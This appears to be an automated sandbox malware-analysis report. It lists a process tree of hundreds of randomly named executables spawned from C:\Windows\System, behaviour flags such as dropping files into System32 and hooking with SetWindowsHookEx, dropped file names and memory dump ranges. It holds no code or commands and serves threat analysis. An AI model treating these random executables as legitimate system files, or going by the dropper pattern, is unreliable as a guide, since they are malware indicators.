-
C:\Windows\System\cvPrlYb.exeC:\Windows\System\cvPrlYb.exe2⤵
-
-
C:\Windows\System\nvGtMwF.exeC:\Windows\System\nvGtMwF.exe2⤵
-
-
C:\Windows\System\WdjxfzB.exeC:\Windows\System\WdjxfzB.exe2⤵
-
-
C:\Windows\System\xvsBkPC.exeC:\Windows\System\xvsBkPC.exe2⤵
-
-
C:\Windows\System\fbYXjlz.exeC:\Windows\System\fbYXjlz.exe2⤵
-
-
C:\Windows\System\IBtCKbJ.exeC:\Windows\System\IBtCKbJ.exe2⤵
-
-
C:\Windows\System\DQiqnoj.exeC:\Windows\System\DQiqnoj.exe2⤵
-
-
C:\Windows\System\GRkgHli.exeC:\Windows\System\GRkgHli.exe2⤵
-
-
C:\Windows\System\feNReAF.exeC:\Windows\System\feNReAF.exe2⤵
-
-
C:\Windows\System\lmOnxGW.exeC:\Windows\System\lmOnxGW.exe2⤵
-
-
C:\Windows\System\XTwczMc.exeC:\Windows\System\XTwczMc.exe2⤵
-
-
C:\Windows\System\hQqaMrX.exeC:\Windows\System\hQqaMrX.exe2⤵
-
-
C:\Windows\System\iIcwcNB.exeC:\Windows\System\iIcwcNB.exe2⤵
-
-
C:\Windows\System\bAYDbnw.exeC:\Windows\System\bAYDbnw.exe2⤵
-
-
C:\Windows\System\kYCLsqh.exeC:\Windows\System\kYCLsqh.exe2⤵
-
-
C:\Windows\System\mUMAQgp.exeC:\Windows\System\mUMAQgp.exe2⤵
-
-
C:\Windows\System\YbKbxYH.exeC:\Windows\System\YbKbxYH.exe2⤵
-
-
C:\Windows\System\EIooXzc.exeC:\Windows\System\EIooXzc.exe2⤵
-
-
C:\Windows\System\HTnPqdx.exeC:\Windows\System\HTnPqdx.exe2⤵
-
-
C:\Windows\System\NofMsZR.exeC:\Windows\System\NofMsZR.exe2⤵
-
-
C:\Windows\System\lVDDAyu.exeC:\Windows\System\lVDDAyu.exe2⤵
-
-
C:\Windows\System\rnqjoFO.exeC:\Windows\System\rnqjoFO.exe2⤵
-
-
C:\Windows\System\HYurrzt.exeC:\Windows\System\HYurrzt.exe2⤵
-
-
C:\Windows\System\QOssRRX.exeC:\Windows\System\QOssRRX.exe2⤵
-
-
C:\Windows\System\jjnwCIj.exeC:\Windows\System\jjnwCIj.exe2⤵
-
-
C:\Windows\System\cFiELtb.exeC:\Windows\System\cFiELtb.exe2⤵
-
-
C:\Windows\System\pdvdQLu.exeC:\Windows\System\pdvdQLu.exe2⤵
-
-
C:\Windows\System\nVZATOf.exeC:\Windows\System\nVZATOf.exe2⤵
-
-
C:\Windows\System\DQxEIJk.exeC:\Windows\System\DQxEIJk.exe2⤵
-
-
C:\Windows\System\IIcRqul.exeC:\Windows\System\IIcRqul.exe2⤵
-
-
C:\Windows\System\pQgayXm.exeC:\Windows\System\pQgayXm.exe2⤵
-
-
C:\Windows\System\WRyfvjg.exeC:\Windows\System\WRyfvjg.exe2⤵
-
-
C:\Windows\System\iHxMGaw.exeC:\Windows\System\iHxMGaw.exe2⤵
-
-
C:\Windows\System\AjjopOX.exeC:\Windows\System\AjjopOX.exe2⤵
-
-
C:\Windows\System\tAHUWrE.exeC:\Windows\System\tAHUWrE.exe2⤵
-
-
C:\Windows\System\AncKJnn.exeC:\Windows\System\AncKJnn.exe2⤵
-
-
C:\Windows\System\AoXOkYY.exeC:\Windows\System\AoXOkYY.exe2⤵
-
-
C:\Windows\System\fvLmXAx.exeC:\Windows\System\fvLmXAx.exe2⤵
-
-
C:\Windows\System\zmoLRLE.exeC:\Windows\System\zmoLRLE.exe2⤵
-
-
C:\Windows\System\iOftcAu.exeC:\Windows\System\iOftcAu.exe2⤵
-
-
C:\Windows\System\dAmzUCI.exeC:\Windows\System\dAmzUCI.exe2⤵
-
-
C:\Windows\System\koLIbAs.exeC:\Windows\System\koLIbAs.exe2⤵
-
-
C:\Windows\System\PTiGYET.exeC:\Windows\System\PTiGYET.exe2⤵
-
-
C:\Windows\System\QarPdHR.exeC:\Windows\System\QarPdHR.exe2⤵
-
-
C:\Windows\System\HmDRbEB.exeC:\Windows\System\HmDRbEB.exe2⤵
-
-
C:\Windows\System\UiYcxXo.exeC:\Windows\System\UiYcxXo.exe2⤵
-
-
C:\Windows\System\kVNehAn.exeC:\Windows\System\kVNehAn.exe2⤵
-
-
C:\Windows\System\GTwwSLV.exeC:\Windows\System\GTwwSLV.exe2⤵
-
-
C:\Windows\System\GuXrmbS.exeC:\Windows\System\GuXrmbS.exe2⤵
-
-
C:\Windows\System\LKdxJRn.exeC:\Windows\System\LKdxJRn.exe2⤵
-
-
C:\Windows\System\rEPaREB.exeC:\Windows\System\rEPaREB.exe2⤵
-
-
C:\Windows\System\lMRfeIZ.exeC:\Windows\System\lMRfeIZ.exe2⤵
-
-
C:\Windows\System\mmqkdSE.exeC:\Windows\System\mmqkdSE.exe2⤵
-
-
C:\Windows\System\rRMSWAY.exeC:\Windows\System\rRMSWAY.exe2⤵
-
-
C:\Windows\System\KwIqjOy.exeC:\Windows\System\KwIqjOy.exe2⤵
-
-
C:\Windows\System\IEyodaS.exeC:\Windows\System\IEyodaS.exe2⤵
-
-
C:\Windows\System\nWaAIMe.exeC:\Windows\System\nWaAIMe.exe2⤵
-
-
C:\Windows\System\QHalOpt.exeC:\Windows\System\QHalOpt.exe2⤵
-
-
C:\Windows\System\yntNdEZ.exeC:\Windows\System\yntNdEZ.exe2⤵
-
-
C:\Windows\System\CUWfzyr.exeC:\Windows\System\CUWfzyr.exe2⤵
-
-
C:\Windows\System\XgLuVBk.exeC:\Windows\System\XgLuVBk.exe2⤵
-
-
C:\Windows\System\UZRXSrY.exeC:\Windows\System\UZRXSrY.exe2⤵
-
-
C:\Windows\System\paXjaVa.exeC:\Windows\System\paXjaVa.exe2⤵
-
-
C:\Windows\System\mjyoXTZ.exeC:\Windows\System\mjyoXTZ.exe2⤵
-
-
C:\Windows\System\PVkIoGj.exeC:\Windows\System\PVkIoGj.exe2⤵
-
-
C:\Windows\System\HdKXUDJ.exeC:\Windows\System\HdKXUDJ.exe2⤵
-
-
C:\Windows\System\NBOmdwk.exeC:\Windows\System\NBOmdwk.exe2⤵
-
-
C:\Windows\System\xoFmAHg.exeC:\Windows\System\xoFmAHg.exe2⤵
-
-
C:\Windows\System\eAGQWDg.exeC:\Windows\System\eAGQWDg.exe2⤵
-
-
C:\Windows\System\zUhWJtz.exeC:\Windows\System\zUhWJtz.exe2⤵
-
-
C:\Windows\System\LHwvkcF.exeC:\Windows\System\LHwvkcF.exe2⤵
-
-
C:\Windows\System\MdQpPED.exeC:\Windows\System\MdQpPED.exe2⤵
-
-
C:\Windows\System\HBEVAeX.exeC:\Windows\System\HBEVAeX.exe2⤵
-
-
C:\Windows\System\Esgsesd.exeC:\Windows\System\Esgsesd.exe2⤵
-
-
C:\Windows\System\TkNucdn.exeC:\Windows\System\TkNucdn.exe2⤵
-
-
C:\Windows\System\vvxtNzH.exeC:\Windows\System\vvxtNzH.exe2⤵
-
-
C:\Windows\System\yiojnCV.exeC:\Windows\System\yiojnCV.exe2⤵
-
-
C:\Windows\System\iRDDelJ.exeC:\Windows\System\iRDDelJ.exe2⤵
-
-
C:\Windows\System\jToqmZg.exeC:\Windows\System\jToqmZg.exe2⤵
-
-
C:\Windows\System\gdhnHaT.exeC:\Windows\System\gdhnHaT.exe2⤵
-
-
C:\Windows\System\BUtoOxj.exeC:\Windows\System\BUtoOxj.exe2⤵
-
-
C:\Windows\System\XzxMQIE.exeC:\Windows\System\XzxMQIE.exe2⤵
-
-
C:\Windows\System\esYSang.exeC:\Windows\System\esYSang.exe2⤵
-
-
C:\Windows\System\mZfOzcD.exeC:\Windows\System\mZfOzcD.exe2⤵
-
-
C:\Windows\System\zzvSoQe.exeC:\Windows\System\zzvSoQe.exe2⤵
-
-
C:\Windows\System\TcxqqZK.exeC:\Windows\System\TcxqqZK.exe2⤵
-
-
C:\Windows\System\mssCChy.exeC:\Windows\System\mssCChy.exe2⤵
-
-
C:\Windows\System\ERNJZDB.exeC:\Windows\System\ERNJZDB.exe2⤵
-
-
C:\Windows\System\clxNONL.exeC:\Windows\System\clxNONL.exe2⤵
-
-
C:\Windows\System\IrUXQIx.exeC:\Windows\System\IrUXQIx.exe2⤵
-
-
C:\Windows\System\ktqkjvY.exeC:\Windows\System\ktqkjvY.exe2⤵
-
-
C:\Windows\System\nJAYgHC.exeC:\Windows\System\nJAYgHC.exe2⤵
-
-
C:\Windows\System\nLQwtXl.exeC:\Windows\System\nLQwtXl.exe2⤵
-
-
C:\Windows\System\vmIGjRj.exeC:\Windows\System\vmIGjRj.exe2⤵
-
-
C:\Windows\System\dzdHcST.exeC:\Windows\System\dzdHcST.exe2⤵
-
-
C:\Windows\System\aeknPVS.exeC:\Windows\System\aeknPVS.exe2⤵
-
-
C:\Windows\System\lbMaHoK.exeC:\Windows\System\lbMaHoK.exe2⤵
-
-
C:\Windows\System\eIOZxqY.exeC:\Windows\System\eIOZxqY.exe2⤵
-
-
C:\Windows\System\WcwCuIG.exeC:\Windows\System\WcwCuIG.exe2⤵
-
-
C:\Windows\System\XUQyggR.exeC:\Windows\System\XUQyggR.exe2⤵
-
-
C:\Windows\System\ynmTrVe.exeC:\Windows\System\ynmTrVe.exe2⤵
-
-
C:\Windows\System\pvgTHRk.exeC:\Windows\System\pvgTHRk.exe2⤵
-
-
C:\Windows\System\fipGCph.exeC:\Windows\System\fipGCph.exe2⤵
-
-
C:\Windows\System\CZtVSzt.exeC:\Windows\System\CZtVSzt.exe2⤵
-
-
C:\Windows\System\hXcvVdj.exeC:\Windows\System\hXcvVdj.exe2⤵
-
-
C:\Windows\System\rFiOqBR.exeC:\Windows\System\rFiOqBR.exe2⤵
-
-
C:\Windows\System\zuncfjv.exeC:\Windows\System\zuncfjv.exe2⤵
-
-
C:\Windows\System\fXerwPX.exeC:\Windows\System\fXerwPX.exe2⤵
-
-
C:\Windows\System\MPyqgJJ.exeC:\Windows\System\MPyqgJJ.exe2⤵
-
-
C:\Windows\System\ZaZpmJQ.exeC:\Windows\System\ZaZpmJQ.exe2⤵
-
-
C:\Windows\System\XDsiAiF.exeC:\Windows\System\XDsiAiF.exe2⤵
-
-
C:\Windows\System\rCRrZAQ.exeC:\Windows\System\rCRrZAQ.exe2⤵
-
-
C:\Windows\System\xwbMlro.exeC:\Windows\System\xwbMlro.exe2⤵
-
-
C:\Windows\System\QMIombP.exeC:\Windows\System\QMIombP.exe2⤵
-
-
C:\Windows\System\PEenrPX.exeC:\Windows\System\PEenrPX.exe2⤵
-
-
C:\Windows\System\YxJskZM.exeC:\Windows\System\YxJskZM.exe2⤵
-
-
C:\Windows\System\zcaOFHd.exeC:\Windows\System\zcaOFHd.exe2⤵
-
-
C:\Windows\System\mzERVDt.exeC:\Windows\System\mzERVDt.exe2⤵
-
-
C:\Windows\System\QtxUBJr.exeC:\Windows\System\QtxUBJr.exe2⤵
-
-
C:\Windows\System\eKcLrkE.exeC:\Windows\System\eKcLrkE.exe2⤵
-
-
C:\Windows\System\DcDcDuW.exeC:\Windows\System\DcDcDuW.exe2⤵
-
-
C:\Windows\System\ljQNxuN.exeC:\Windows\System\ljQNxuN.exe2⤵
-
-
C:\Windows\System\VVnvZKp.exeC:\Windows\System\VVnvZKp.exe2⤵
-
-
C:\Windows\System\eiNTNir.exeC:\Windows\System\eiNTNir.exe2⤵
-
-
C:\Windows\System\wKglkfI.exeC:\Windows\System\wKglkfI.exe2⤵
-
-
C:\Windows\System\oioeCDt.exeC:\Windows\System\oioeCDt.exe2⤵
-
-
C:\Windows\System\ZHuAenp.exeC:\Windows\System\ZHuAenp.exe2⤵
-
-
C:\Windows\System\SVokEMo.exeC:\Windows\System\SVokEMo.exe2⤵
-
-
C:\Windows\System\yzoXrHs.exeC:\Windows\System\yzoXrHs.exe2⤵
-
-
C:\Windows\System\NfUSLcq.exeC:\Windows\System\NfUSLcq.exe2⤵
-
-
C:\Windows\System\ngFizOO.exeC:\Windows\System\ngFizOO.exe2⤵
-
-
C:\Windows\System\fWppuZC.exeC:\Windows\System\fWppuZC.exe2⤵
-
-
C:\Windows\System\goZSdiT.exeC:\Windows\System\goZSdiT.exe2⤵
-
-
C:\Windows\System\VVyrlMw.exeC:\Windows\System\VVyrlMw.exe2⤵
-
-
C:\Windows\System\tbYRNcm.exeC:\Windows\System\tbYRNcm.exe2⤵
-
-
C:\Windows\System\lPBXAUt.exeC:\Windows\System\lPBXAUt.exe2⤵
-
-
C:\Windows\System\BMlwAGi.exeC:\Windows\System\BMlwAGi.exe2⤵
-
-
C:\Windows\System\wHgSzMR.exeC:\Windows\System\wHgSzMR.exe2⤵
-
-
C:\Windows\System\fsDvXeL.exeC:\Windows\System\fsDvXeL.exe2⤵
-
-
C:\Windows\System\brKlJWX.exeC:\Windows\System\brKlJWX.exe2⤵
-
-
C:\Windows\System\JfZFjwY.exeC:\Windows\System\JfZFjwY.exe2⤵
-
-
C:\Windows\System\FgtlGId.exeC:\Windows\System\FgtlGId.exe2⤵
-
-
C:\Windows\System\iPMjrOA.exeC:\Windows\System\iPMjrOA.exe2⤵
-
-
C:\Windows\System\tdaeXJL.exeC:\Windows\System\tdaeXJL.exe2⤵
-
-
C:\Windows\System\gsaefhv.exeC:\Windows\System\gsaefhv.exe2⤵
-
-
C:\Windows\System\HqsigLz.exeC:\Windows\System\HqsigLz.exe2⤵
-
-
C:\Windows\System\wnpASfy.exeC:\Windows\System\wnpASfy.exe2⤵
-
-
C:\Windows\System\ARmqEaS.exeC:\Windows\System\ARmqEaS.exe2⤵
-
-
C:\Windows\System\DuXssTU.exeC:\Windows\System\DuXssTU.exe2⤵
-
-
C:\Windows\System\FfJBeqE.exeC:\Windows\System\FfJBeqE.exe2⤵
-
-
C:\Windows\System\XlFDDeK.exeC:\Windows\System\XlFDDeK.exe2⤵
-
-
C:\Windows\System\PmdqvBa.exeC:\Windows\System\PmdqvBa.exe2⤵
-
-
C:\Windows\System\PoYApVX.exeC:\Windows\System\PoYApVX.exe2⤵
-
-
C:\Windows\System\mabfhRK.exeC:\Windows\System\mabfhRK.exe2⤵
-
-
C:\Windows\System\PQAXrcs.exeC:\Windows\System\PQAXrcs.exe2⤵
-
-
C:\Windows\System\gVYVHiY.exeC:\Windows\System\gVYVHiY.exe2⤵
-
-
C:\Windows\System\lgjtzmk.exeC:\Windows\System\lgjtzmk.exe2⤵
-
-
C:\Windows\System\BeZjppX.exeC:\Windows\System\BeZjppX.exe2⤵
-
-
C:\Windows\System\hLpJKco.exeC:\Windows\System\hLpJKco.exe2⤵
-
-
C:\Windows\System\OFuLgoC.exeC:\Windows\System\OFuLgoC.exe2⤵
-
-
C:\Windows\System\lYcaUgU.exeC:\Windows\System\lYcaUgU.exe2⤵
-
-
C:\Windows\System\vrIrUxU.exeC:\Windows\System\vrIrUxU.exe2⤵
-
-
C:\Windows\System\WGFRjfC.exeC:\Windows\System\WGFRjfC.exe2⤵
-
-
C:\Windows\System\fGrMWQv.exeC:\Windows\System\fGrMWQv.exe2⤵
-
-
C:\Windows\System\vtMETme.exeC:\Windows\System\vtMETme.exe2⤵
-
-
C:\Windows\System\qalDzuq.exeC:\Windows\System\qalDzuq.exe2⤵
-
-
C:\Windows\System\DKUjKxL.exeC:\Windows\System\DKUjKxL.exe2⤵
-
-
C:\Windows\System\VrgrmSm.exeC:\Windows\System\VrgrmSm.exe2⤵
-
-
C:\Windows\System\NbQkFmW.exeC:\Windows\System\NbQkFmW.exe2⤵
-
-
C:\Windows\System\zSzdptn.exeC:\Windows\System\zSzdptn.exe2⤵
-
-
C:\Windows\System\euIBqWl.exeC:\Windows\System\euIBqWl.exe2⤵
-
-
C:\Windows\System\zSIsVFF.exeC:\Windows\System\zSIsVFF.exe2⤵
-
-
C:\Windows\System\BfBGeXi.exeC:\Windows\System\BfBGeXi.exe2⤵
-
-
C:\Windows\System\FYhBJtL.exeC:\Windows\System\FYhBJtL.exe2⤵
-
-
C:\Windows\System\jVtjjTi.exeC:\Windows\System\jVtjjTi.exe2⤵
-
-
C:\Windows\System\QHfSNBx.exeC:\Windows\System\QHfSNBx.exe2⤵
-
-
C:\Windows\System\cktwvqe.exeC:\Windows\System\cktwvqe.exe2⤵
-
-
C:\Windows\System\KQXdhjC.exeC:\Windows\System\KQXdhjC.exe2⤵
-
-
C:\Windows\System\rLhDbOI.exeC:\Windows\System\rLhDbOI.exe2⤵
-
-
C:\Windows\System\VKWOhEf.exeC:\Windows\System\VKWOhEf.exe2⤵
-
-
C:\Windows\System\HxGQOEJ.exeC:\Windows\System\HxGQOEJ.exe2⤵
-
-
C:\Windows\System\AjAsBmQ.exeC:\Windows\System\AjAsBmQ.exe2⤵
-
-
C:\Windows\System\fyIHibE.exeC:\Windows\System\fyIHibE.exe2⤵
-
-
C:\Windows\System\CTLuzTM.exeC:\Windows\System\CTLuzTM.exe2⤵
-
-
C:\Windows\System\QHeRmAS.exeC:\Windows\System\QHeRmAS.exe2⤵
-
-
C:\Windows\System\jVRBTfA.exeC:\Windows\System\jVRBTfA.exe2⤵
-
-
C:\Windows\System\OaJeCCm.exeC:\Windows\System\OaJeCCm.exe2⤵
-
-
C:\Windows\System\sojumIP.exeC:\Windows\System\sojumIP.exe2⤵
-
-
C:\Windows\System\sfBXZnm.exeC:\Windows\System\sfBXZnm.exe2⤵
-
-
C:\Windows\System\shfZSUg.exeC:\Windows\System\shfZSUg.exe2⤵
-
-
C:\Windows\System\eyLPwdV.exeC:\Windows\System\eyLPwdV.exe2⤵
-
-
C:\Windows\System\pqavuxZ.exeC:\Windows\System\pqavuxZ.exe2⤵
-
-
C:\Windows\System\XjejVnk.exeC:\Windows\System\XjejVnk.exe2⤵
-
-
C:\Windows\System\DVxPaEL.exeC:\Windows\System\DVxPaEL.exe2⤵
-
-
C:\Windows\System\FRoOvxd.exeC:\Windows\System\FRoOvxd.exe2⤵
-
-
C:\Windows\System\CgLyYaI.exeC:\Windows\System\CgLyYaI.exe2⤵
-
-
C:\Windows\System\YDQTudA.exeC:\Windows\System\YDQTudA.exe2⤵
-
-
C:\Windows\System\qRrOiri.exeC:\Windows\System\qRrOiri.exe2⤵
-
-
C:\Windows\System\oXdhpCU.exeC:\Windows\System\oXdhpCU.exe2⤵
-
-
C:\Windows\System\thRvuYl.exeC:\Windows\System\thRvuYl.exe2⤵
-
-
C:\Windows\System\lQwQYlh.exeC:\Windows\System\lQwQYlh.exe2⤵
-
-
C:\Windows\System\dCCnvTY.exeC:\Windows\System\dCCnvTY.exe2⤵
-
-
C:\Windows\System\NiwgHne.exeC:\Windows\System\NiwgHne.exe2⤵
-
-
C:\Windows\System\TARLUrI.exeC:\Windows\System\TARLUrI.exe2⤵
-
-
C:\Windows\System\TnvbUeo.exeC:\Windows\System\TnvbUeo.exe2⤵
-
-
C:\Windows\System\OOAQzXH.exeC:\Windows\System\OOAQzXH.exe2⤵
-
-
C:\Windows\System\mDOtgaH.exeC:\Windows\System\mDOtgaH.exe2⤵
-
-
C:\Windows\System\ljHVUAi.exeC:\Windows\System\ljHVUAi.exe2⤵
-
-
C:\Windows\System\UyGarHr.exeC:\Windows\System\UyGarHr.exe2⤵
-
-
C:\Windows\System\rOJZaQL.exeC:\Windows\System\rOJZaQL.exe2⤵
-
-
C:\Windows\System\tWWeIqG.exeC:\Windows\System\tWWeIqG.exe2⤵
-
-
C:\Windows\System\fbqDRXi.exeC:\Windows\System\fbqDRXi.exe2⤵
-
-
C:\Windows\System\PNvqyvh.exeC:\Windows\System\PNvqyvh.exe2⤵
-
-
C:\Windows\System\vwFkOfc.exeC:\Windows\System\vwFkOfc.exe2⤵
-
-
C:\Windows\System\YbLhAOT.exeC:\Windows\System\YbLhAOT.exe2⤵
-
-
C:\Windows\System\dqSPttR.exeC:\Windows\System\dqSPttR.exe2⤵
-
-
C:\Windows\System\yDGoHbb.exeC:\Windows\System\yDGoHbb.exe2⤵
-
-
C:\Windows\System\MuRQVhP.exeC:\Windows\System\MuRQVhP.exe2⤵
-
-
C:\Windows\System\MSrtQeH.exeC:\Windows\System\MSrtQeH.exe2⤵
-
-
C:\Windows\System\qZWtiIi.exeC:\Windows\System\qZWtiIi.exe2⤵
-
-
C:\Windows\System\nEmJqll.exeC:\Windows\System\nEmJqll.exe2⤵
-
-
C:\Windows\System\awBklqF.exeC:\Windows\System\awBklqF.exe2⤵
-
-
C:\Windows\System\DLfdyNS.exeC:\Windows\System\DLfdyNS.exe2⤵
-
-
C:\Windows\System\hHNKWnE.exeC:\Windows\System\hHNKWnE.exe2⤵
-
-
C:\Windows\System\vevvbAv.exeC:\Windows\System\vevvbAv.exe2⤵
-
-
C:\Windows\System\EuUGFaN.exeC:\Windows\System\EuUGFaN.exe2⤵
-
-
C:\Windows\System\NPayxaV.exeC:\Windows\System\NPayxaV.exe2⤵
-
-
C:\Windows\System\IkoYwCp.exeC:\Windows\System\IkoYwCp.exe2⤵
-
-
C:\Windows\System\fFzNRUM.exeC:\Windows\System\fFzNRUM.exe2⤵
-
-
C:\Windows\System\DzlmRnl.exeC:\Windows\System\DzlmRnl.exe2⤵
-
-
C:\Windows\System\JTFOGFB.exeC:\Windows\System\JTFOGFB.exe2⤵
-
-
C:\Windows\System\voWSCHG.exeC:\Windows\System\voWSCHG.exe2⤵
-
-
C:\Windows\System\DUiLcGF.exeC:\Windows\System\DUiLcGF.exe2⤵
-
-
C:\Windows\System\tACSKzA.exeC:\Windows\System\tACSKzA.exe2⤵
-
-
C:\Windows\System\MuSezSQ.exeC:\Windows\System\MuSezSQ.exe2⤵
-
-
C:\Windows\System\YBoGWWP.exeC:\Windows\System\YBoGWWP.exe2⤵
-
-
C:\Windows\System\IWZOuaC.exeC:\Windows\System\IWZOuaC.exe2⤵
-
-
C:\Windows\System\AiCmgFY.exeC:\Windows\System\AiCmgFY.exe2⤵
-
-
C:\Windows\System\MjgqVvE.exeC:\Windows\System\MjgqVvE.exe2⤵
-
-
C:\Windows\System\UfUkTLF.exeC:\Windows\System\UfUkTLF.exe2⤵
-
-
C:\Windows\System\RPVktgB.exeC:\Windows\System\RPVktgB.exe2⤵
-
-
C:\Windows\System\ecvzsWu.exeC:\Windows\System\ecvzsWu.exe2⤵
-
-
C:\Windows\System\uQFyzXH.exeC:\Windows\System\uQFyzXH.exe2⤵
-
-
C:\Windows\System\egaihGK.exeC:\Windows\System\egaihGK.exe2⤵
-
-
C:\Windows\System\SFyyViK.exeC:\Windows\System\SFyyViK.exe2⤵
-
-
C:\Windows\System\tasCNBl.exeC:\Windows\System\tasCNBl.exe2⤵
-
-
C:\Windows\System\OAKAeco.exeC:\Windows\System\OAKAeco.exe2⤵
-
-
C:\Windows\System\OeONwfO.exeC:\Windows\System\OeONwfO.exe2⤵
-
-
C:\Windows\System\WbCUEfG.exeC:\Windows\System\WbCUEfG.exe2⤵
-
-
C:\Windows\System\NiccVqI.exeC:\Windows\System\NiccVqI.exe2⤵
-
-
C:\Windows\System\vtIEYSa.exeC:\Windows\System\vtIEYSa.exe2⤵
-
-
C:\Windows\System\KjSCPGU.exeC:\Windows\System\KjSCPGU.exe2⤵
-
-
C:\Windows\System\vLmFnSW.exeC:\Windows\System\vLmFnSW.exe2⤵
-
-
C:\Windows\System\THhvMNK.exeC:\Windows\System\THhvMNK.exe2⤵
-
-
C:\Windows\System\gkCnKlw.exeC:\Windows\System\gkCnKlw.exe2⤵
-
-
C:\Windows\System\ABljpXo.exeC:\Windows\System\ABljpXo.exe2⤵
-
-
C:\Windows\System\BiBKaeQ.exeC:\Windows\System\BiBKaeQ.exe2⤵
-
-
C:\Windows\System\LgwxPrP.exeC:\Windows\System\LgwxPrP.exe2⤵
-
-
C:\Windows\System\RyTOnhO.exeC:\Windows\System\RyTOnhO.exe2⤵
-
-
C:\Windows\System\iPntFpO.exeC:\Windows\System\iPntFpO.exe2⤵
-
-
C:\Windows\System\gZrrkBX.exeC:\Windows\System\gZrrkBX.exe2⤵
-
-
C:\Windows\System\GjUKgDr.exeC:\Windows\System\GjUKgDr.exe2⤵
-
-
C:\Windows\System\UMJuMim.exeC:\Windows\System\UMJuMim.exe2⤵
-
-
C:\Windows\System\xViYaMU.exeC:\Windows\System\xViYaMU.exe2⤵
-
-
C:\Windows\System\xxhZSuI.exeC:\Windows\System\xxhZSuI.exe2⤵
-
-
C:\Windows\System\LirAmNY.exeC:\Windows\System\LirAmNY.exe2⤵
-
-
C:\Windows\System\HKaBAxr.exeC:\Windows\System\HKaBAxr.exe2⤵
-
-
C:\Windows\System\ltmCGTg.exeC:\Windows\System\ltmCGTg.exe2⤵
-
-
C:\Windows\System\klcRudf.exeC:\Windows\System\klcRudf.exe2⤵
-
-
C:\Windows\System\nDbGlYz.exeC:\Windows\System\nDbGlYz.exe2⤵
-
-
C:\Windows\System\IQLBchD.exeC:\Windows\System\IQLBchD.exe2⤵
-
-
C:\Windows\System\QElDCoK.exeC:\Windows\System\QElDCoK.exe2⤵
-
-
C:\Windows\System\hgTvhIb.exeC:\Windows\System\hgTvhIb.exe2⤵
-
-
C:\Windows\System\dKIaJsj.exeC:\Windows\System\dKIaJsj.exe2⤵
-
-
C:\Windows\System\NCMAHXM.exeC:\Windows\System\NCMAHXM.exe2⤵
-
-
C:\Windows\System\PZBaBKt.exeC:\Windows\System\PZBaBKt.exe2⤵
-
-
C:\Windows\System\KqbbRTY.exeC:\Windows\System\KqbbRTY.exe2⤵
-
-
C:\Windows\System\AAxWjta.exeC:\Windows\System\AAxWjta.exe2⤵
-
-
C:\Windows\System\mJQVEYA.exeC:\Windows\System\mJQVEYA.exe2⤵
-
-
C:\Windows\System\WFGzpcK.exeC:\Windows\System\WFGzpcK.exe2⤵
-
-
C:\Windows\System\rfeKhkj.exeC:\Windows\System\rfeKhkj.exe2⤵
-
-
C:\Windows\System\TyxMnLx.exeC:\Windows\System\TyxMnLx.exe2⤵
-
-
C:\Windows\System\YGFyDgj.exeC:\Windows\System\YGFyDgj.exe2⤵
-
-
C:\Windows\System\JfvaQVR.exeC:\Windows\System\JfvaQVR.exe2⤵
-
-
C:\Windows\System\QrZkXNl.exeC:\Windows\System\QrZkXNl.exe2⤵
-
-
C:\Windows\System\vaqYJDC.exeC:\Windows\System\vaqYJDC.exe2⤵
-
-
C:\Windows\System\ylLupcT.exeC:\Windows\System\ylLupcT.exe2⤵
-
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_4w3w3onx.xvy.ps1
AFBSOES.exe
CReLzMw.exe
ENgGQAB.exe
FEhPHBc.exe
IvUkaCX.exe
KBlAbkH.exe
KWaGBTQ.exe
KoMwgnc.exe
PclTISa.exe
VQmEEMM.exe
VmMCzzY.exe
WziIvWH.exe
YUCSswo.exe
aImarIX.exe
aWkHOnx.exe
bOGSHDD.exe
bpAprPd.exe
bsBMmgo.exe
crGgaoV.exe
czMDYJP.exe
dpDaxUN.exe
kJXnJlT.exe
ksBTdGz.exe
nKHPWze.exe
opXQOrz.exe
oxQkLes.exe
rNnIdKM.exe
sCPmoTh.exe
tCIccGv.exe
uzwLsmg.exe
vBEcmxH.exe
vbpHjEb.exe
xmkqBLm.exe
zCRJoju.exe
memory/612-3204-0x00007FF615870000-0x00007FF615C62000-memory.dmp
memory/612-109-0x00007FF615870000-0x00007FF615C62000-memory.dmp
memory/796-98-0x00007FF785BA0000-0x00007FF785F92000-memory.dmp
memory/796-3202-0x00007FF785BA0000-0x00007FF785F92000-memory.dmp
memory/860-184-0x00007FF726FD0000-0x00007FF7273C2000-memory.dmp
memory/860-3273-0x00007FF726FD0000-0x00007FF7273C2000-memory.dmp
memory/1472-196-0x00007FF786E80000-0x00007FF787272000-memory.dmp
memory/1472-3272-0x00007FF786E80000-0x00007FF787272000-memory.dmp
memory/1592-3214-0x00007FF709210000-0x00007FF709602000-memory.dmp
memory/1592-122-0x00007FF709210000-0x00007FF709602000-memory.dmp
memory/2032-178-0x00007FF622FE0000-0x00007FF6233D2000-memory.dmp
memory/2032-3234-0x00007FF622FE0000-0x00007FF6233D2000-memory.dmp
memory/2180-140-0x00007FF6EA8A0000-0x00007FF6EAC92000-memory.dmp
memory/2180-3208-0x00007FF6EA8A0000-0x00007FF6EAC92000-memory.dmp
memory/2680-100-0x000002EDFFA50000-0x000002EDFFA72000-memory.dmp
memory/2680-35-0x00007FFE57C23000-0x00007FFE57C25000-memory.dmp
memory/2680-92-0x00007FFE57C20000-0x00007FFE586E1000-memory.dmp
memory/2680-442-0x000002EE007B0000-0x000002EE00F56000-memory.dmp
memory/2680-77-0x00007FFE57C20000-0x00007FFE586E1000-memory.dmp
memory/2680-3191-0x00007FFE57C20000-0x00007FFE586E1000-memory.dmp
memory/2680-3182-0x00007FFE57C20000-0x00007FFE586E1000-memory.dmp
memory/2680-3181-0x00007FFE57C23000-0x00007FFE57C25000-memory.dmp
memory/2680-3180-0x00007FFE57C20000-0x00007FFE586E1000-memory.dmp
memory/2772-3196-0x00007FF78F770000-0x00007FF78FB62000-memory.dmp
memory/2772-50-0x00007FF78F770000-0x00007FF78FB62000-memory.dmp
memory/2788-128-0x00007FF778F60000-0x00007FF779352000-memory.dmp
memory/2788-3217-0x00007FF778F60000-0x00007FF779352000-memory.dmp
memory/2792-134-0x00007FF615570000-0x00007FF615962000-memory.dmp
memory/2792-3225-0x00007FF615570000-0x00007FF615962000-memory.dmp
